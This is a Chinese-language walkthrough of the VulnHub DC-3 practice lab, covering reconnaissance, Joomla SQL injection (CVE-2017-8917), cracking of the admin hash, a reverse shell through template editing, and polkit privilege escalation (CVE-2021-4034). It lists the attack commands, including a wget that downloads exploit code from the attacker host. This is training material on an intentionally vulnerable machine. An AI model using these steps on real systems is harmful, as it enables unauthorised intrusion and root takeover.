一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:DC3(10.0.2.56)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.56
使用nmap端口扫描发现靶机开放端口:80
打开网站发现是一个登录界面,查看源码未发现隐藏信息
使用gobuster和dirsearch工具进行目录爆破
gobuster dir -u http://10.0.2.56/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u http://10.0.2.56
目录爆破发现/administrator/
目录,访问发现该网站为joomla!
cms搭建的
使用droopescan工具扫描网站探测joomla!的版本信息,发现为3.7.0-3.8.0左右
droopescan scan -u http://10.0.2.56
三、漏洞利用
使用searchsploit搜索joomla!的历史漏洞,主要查看joomla!版本为3.7-3.8的exp
searchsploit joomla!
发现一个sql注入exp,但该exp为php版本的,尝试运行了一下有点问题
我又在网上找了一个python版本的exp:CVE-2017-8917,运行获得管理员的账号和密码
python CVE-2017-8917.py http://10.0.2.56
admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将密码复制到passwd.txt,使用john工具进行暴力破解得到:snoopy
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
使用管理员账号密码登录网站
点击Extension->Templates->Templates
随便点击一项,我们这里点击Beez3
点击左边的文件,我们可以修改php代码
直接将php文件里面的代码跟换为反弹shell的php代码
然后点击Template Preview
访问修改后的php文件进行反弹shell
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
运行命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现/usr/lib/policykit-1/polkit-agent-helper-1
文件,该版本的polkit存在提权漏洞CVE-2021-4034
靶机存在gcc环境
在攻击机开启apache2服务,靶机使用wget命令将exp下载下来
攻击机:service apache2 start
靶机:wget http://10.0.2.15/CVE-2021-4034.c
将exp编译执行,提权成功
gcc CVE-2021-4034.c -o CVE-2021-4034
./CVE-2021-4034
获取flag